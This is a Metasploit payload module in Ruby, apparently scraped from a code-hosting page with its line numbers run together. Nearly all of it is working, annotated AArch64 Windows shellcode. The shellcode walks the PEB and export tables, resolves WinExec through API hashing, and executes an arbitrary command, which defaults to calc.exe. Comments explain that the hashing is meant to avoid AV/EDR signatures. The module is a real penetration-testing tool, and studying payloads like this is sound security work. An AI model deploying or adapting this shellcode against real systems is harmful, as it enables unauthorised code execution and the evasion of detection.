Path: blob/master/modules/payloads/singles/windows/aarch64/exec.rb
21094 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6# This size is an approximation. The final size depends on the CMD string.7CachedSize = 35289include Msf::Payload::Windows10include Msf::Payload::Single1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Windows AArch64 Command Execution',17'Description' => %q{18Executes an arbitrary command on a Windows on ARM (AArch64) target.19This payload is a foundational example of position-independent shellcode for the AArch64 architecture.20It dynamically resolves the address of the `WinExec` function from `kernel32.dll` by parsing the21Process Environment Block (PEB) and the module's Export Address Table (EAT) at runtime.22This technique avoids static imports and hardcoded function addresses, increasing resilience.23},24'Author' => [25'alanfoster', # Original implementation and research26'Alexander "xaitax" Hagenah' # Refactoring, Improvements and Optimization27],28'License' => MSF_LICENSE,29'Platform' => 'win',30'Arch' => ARCH_AARCH64,31'Notes' => {32'Stability' => [CRASH_SAFE],33'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]34}35)36)3738register_options(39[40OptString.new('CMD', [true, 'The command string to execute', 'calc.exe'])41]42)43end4445def generate(_opts = {})46# The following AArch64 assembly implements the payload's core logic.47# It is based on the alanfosters original implementation.48cmd_str = datastore['CMD'] || 'calc.exe'49asm = <<~EOF50// AArch64 Windows PIC Shellcode51// -----------------------------52// Key Registers:53// x0-x7: Arguments to functions and return values.54// x18: Pointer to the Thread Environment Block (TEB) in user mode.55// x29: Frame Pointer (FP).56// x30: Link Register (LR), holds the return address for function calls.5758main:59// --- Function Prologue ---60// Establishes a stack frame according to the AArch64 ABI.61// Allocate 0xb0 (176) bytes on the stack for local variables, saved registers, and scratch space.62// Then store the caller's frame pointer (x29) and link register (x30) at the new stack top.63stp x29, x30, [sp, #-0xb0]!64// Set our new frame pointer to the current stack pointer.65mov x29, sp66// Save non-volatile registers (x19-x21) that we will modify.67stp x19, x20, [x29, #0x10]68str x21, [x29, #0x20]6970// --- API Hash Setup ---71// Load the pre-calculated hash for kernel32.dll!WinExec into register w8.72// Hashing avoids using literal strings ("WinExec") in the payload, which are73// common signatures for AV/EDR.74movz w8, #0x8b3175movk w8, #0x876f, lsl #167677api_call:78// --- PEB Traversal ---79// This section finds the base address of loaded modules (DLLs) in a80// position-independent way by walking structures internal to the process.81// x18 on Windows AArch64 always points to the Thread Environment Block (TEB).82ldr x10, [x18, #0x60] // x10 = TEB->ProcessEnvironmentBlock (PEB)83ldr x10, [x10, #0x18] // x10 = PEB->Ldr84ldr x10, [x10, #0x20] // x10 = PEB->Ldr.InMemoryOrderModuleList.Flink (points to first module entry)8586next_mod:87// --- Module Name Hashing ---88// For each module, calculate a hash of its name to find kernel32.dll.89ldr x11, [x10, #0x50] // x11 = LDR_DATA_TABLE_ENTRY->FullDllName.Buffer pointer90ldr x12, [x10, #0x4a] // x12 = LDR_DATA_TABLE_ENTRY->FullDllName.Length (USHORT)91and x12, x12, #0xffff // Ensure we only have the 16-bit length92movz w13, #0 // w13 = module hash accumulator, zero it out.93loop_modname:94// This hashing loop reads one byte at a time from the UTF-16 DLL name.95// It only uses the ASCII part for hashing and handles case-insensitivity.96ldrb w14, [x11], #1 // Read a byte and post-increment the pointer97cmp w14, #97 // Compare with ASCII 'a'98b.lt not_lowercase99sub w14, w14, #0x20 // If lowercase, convert to uppercase100not_lowercase:101ror w13, w13, #13 // Rotate the hash accumulator right by 13 bits102add w13, w13, w14 // Add the character's byte value to the hash103sub w12, w12, #1 // Decrement length counter104cmp w12, wzr105b.gt loop_modname106// These extra rotates are preserved from the original implementation to match the target hash.107ror w13, w13, #13108ror w13, w13, #13109110// Save the current module's context (its LDR_DATA_TABLE_ENTRY pointer and its computed hash)111// to our stack frame before we start parsing its export table.112str x10, [x29, #0x30]113str w13, [x29, #0x38]114115// --- PE Export Table Traversal ---116ldr x10, [x10, #0x20] // x10 = DllBase (the module's base memory address)117ldr w11, [x10, #0x3c] // Get e_lfanew offset from the DOS header118add x11, x10, x11 // x11 = Address of the main PE (NT) Header119120// --- PE64 Magic Number Check ---121// This check is a critical robustness feature. It ensures we only attempt to parse122// 64-bit PE modules, avoiding crashes if a 32-bit (WoW64) module is encountered.123// The PE32+ Magic (0x020B) is at Optional Header +0x18.124ldrh w14, [x11, #0x18] // Load the Magic number from the Optional Header125cmp w14, #0x020b // Compare with the PE32+ magic value for 64-bit126b.ne get_next_mod_loop // If it's not a 64-bit module, skip it.127128ldr w11, [x11, #0x88] // Get Export Address Table (EAT) RVA from Optional Header129cmp x11, #0130b.eq get_next_mod_loop // If there's no EAT, skip this module.131add x11, x11, x10 // x11 = EAT Virtual Address132str x11, [x29, #0x40] // Save EAT address to the stack133ldr w12, [x11, #0x18] // w12 = EAT.NumberOfNames134ldr w13, [x11, #0x20] // w13 = EAT.AddressOfNames RVA135add x13, x10, x13 // w13 = EAT.AddressOfNames Virtual Address136137get_next_func:138// --- Function Name Hashing ---139// Loop through all function names in the EAT.140cmp w12, #0141b.eq get_next_mod_loop // If all function names checked, move to the next module.142sub w12, w12, #1 // Decrement function counter (we search backwards)143mov x14, #4144madd x15, x12, x14, x13 // Calculate address of the current function name's RVA in the name array145ldr w15, [x15] // Get the RVA of the function name string146add x15, x10, x15 // x15 = VA of the function name string147movz x5, #0 // w5 = function hash accumulator, zero it out.148loop_funcname:149ldrb w11, [x15], #1 // Load one byte of the ASCII function name150ror w5, w5, #13151add w5, w5, w11152cmp x11, #0153b.ne loop_funcname // Loop until the null terminator is hit.154funcname_hashed:155ldr w6, [x29, #0x38] // Retrieve the saved module hash from our stack frame156add w6, w6, w5 // Combined hash = module_hash + function_hash157cmp w6, w8 // Does this match our target hash (kernel32.dll!WinExec)?158b.ne get_next_func // If not, hash the next function name.159160// --- Function Address Resolution ---161// We found the correct function name. Now, we find its actual address.162found_func:163ldr x11, [x29, #0x40] // Restore EAT address from stack164ldr w13, [x11, #0x24] // Get EAT.AddressOfNameOrdinals RVA165add x13, x10, x13 // VA of the ordinal table166mov x14, #2167madd x15, x12, x14, x13 // Get address of our function's ordinal168ldrh w15, [x15] // Get the 16-bit ordinal value169ldr w13, [x11, #0x1c] // Get EAT.AddressOfFunctions RVA170add x13, x10, x13 // VA of the function address table171mov x14, #4172madd x15, x15, x14, x13 // Get address of the function's RVA from the address table using the ordinal173ldr w15, [x15] // Get the function's RVA174add x15, x15, x10 // x15 = Final Virtual Address of WinExec175176finish:177// --- Call WinExec ---178// Set up x9 to point to a scratch buffer on our stack.179add x9, x29, #0x50180// create_aarch64_string_in_stack will write the command string to the181// address in x9 and place the final pointer to the string in x0.182#{create_aarch64_string_in_stack(cmd_str)}183mov w1, #1 // Arg2 (uCmdShow) = SW_SHOWNORMAL (1) - Makes the new window visible.184mov x8, x15 // Move target function address into a volatile register for the call.185blr x8 // Branch with Link to Register (call WinExec).186187// --- Function Epilogue ---188// Cleanly tears down the stack frame and returns execution to the caller.189epilogue:190// Restore saved non-volatile registers from the stack frame.191ldp x19, x20, [x29, #0x10]192ldr x21, [x29, #0x20]193// Restore the original stack pointer.194mov sp, x29195// Restore the caller's frame pointer and link register, deallocating our stack frame in one instruction.196ldp x29, x30, [sp], #0xb0197ret // Return to the address stored in the Link Register.198199// --- Loop Control for Module Iteration ---200get_next_mod_loop:201// Restore the LDR_DATA_TABLE_ENTRY pointer from the stack.202ldr x10, [x29, #0x30]203// The InMemoryOrderModuleList is a circular doubly-linked list.204// Following the Flink pointer gets the next module in the list.205ldr x10, [x10]206// Jump back to begin processing this next module.207b next_mod208EOF209210compile_aarch64(asm)211end212213# Generates AArch64 assembly to write a given string to the stack and return a pointer to it.214# This is a classic shellcode technique to create strings in memory at runtime.215# @param string [String] The string to be placed on the stack.216# @return [String] A block of AArch64 assembly code.217def create_aarch64_string_in_stack(string)218str = string + "\x00"219target = :x0 # The pointer to the string will be returned in x0 (first argument register).220stack = :x9 # x9 is used as a temporary pointer to write the string to the stack.221222# Build the string 8 bytes at a time.223push_string = str.bytes.each_slice(8).flat_map do |chunk|224# Load the 8-byte chunk into the target register using a sequence of movz/movk.225mov_instructions = chunk.each_slice(2).with_index.map do |word, idx|226# NOTE: Chunks are reversed to build the little-endian value correctly in the register.227hex = word.reverse.map { |b| format('%02x', b) }.join228"mov#{idx == 0 ? 'z' : 'k'} #{target}, #0x#{hex}#{idx == 0 ? '' : ", lsl ##{idx * 16}"}"229end230# Store the 8-byte value from the register onto the stack and advance the stack pointer.231[*mov_instructions, "str #{target}, [#{stack}], #8"]232end233234# After writing, `stack` points just past the end of the string.235# We subtract the aligned size to get the pointer to the beginning of the string.236set_target_register = [237"mov #{target}, #{stack}",238"sub #{target}, #{target}, ##{align(str.bytesize)}"239]240(push_string + set_target_register).join("\n")241end242243# Aligns a given value to a specified boundary (defaults to 8 bytes).244# @param value [Integer] The value to align.245# @param alignment [Integer] The alignment boundary.246# @return [Integer] The aligned value.247def align(value, alignment: 8)248return value if (value % alignment).zero?249250value + (alignment - (value % alignment))251end252253# Compiles a string of AArch64 assembly into raw binary shellcode.254# @param asm_string [String] The assembly code.255# @return [String] The compiled binary shellcode.256def compile_aarch64(asm_string)257# This requires the 'aarch64' gem.258require 'aarch64/parser'259parser = ::AArch64::Parser.new260asm = parser.parse(without_inline_comments(asm_string))261asm.to_binary262end263264# Removes all inline comments from an assembly string, as the aarch64265# gem parser does not support them.266# @param string [String] The assembly code with comments.267# @return [String] The assembly code without comments.268def without_inline_comments(string)269string.lines.map { |line| line.split('//', 2).first.strip }.reject(&:empty?).join("\n")270end271end272273274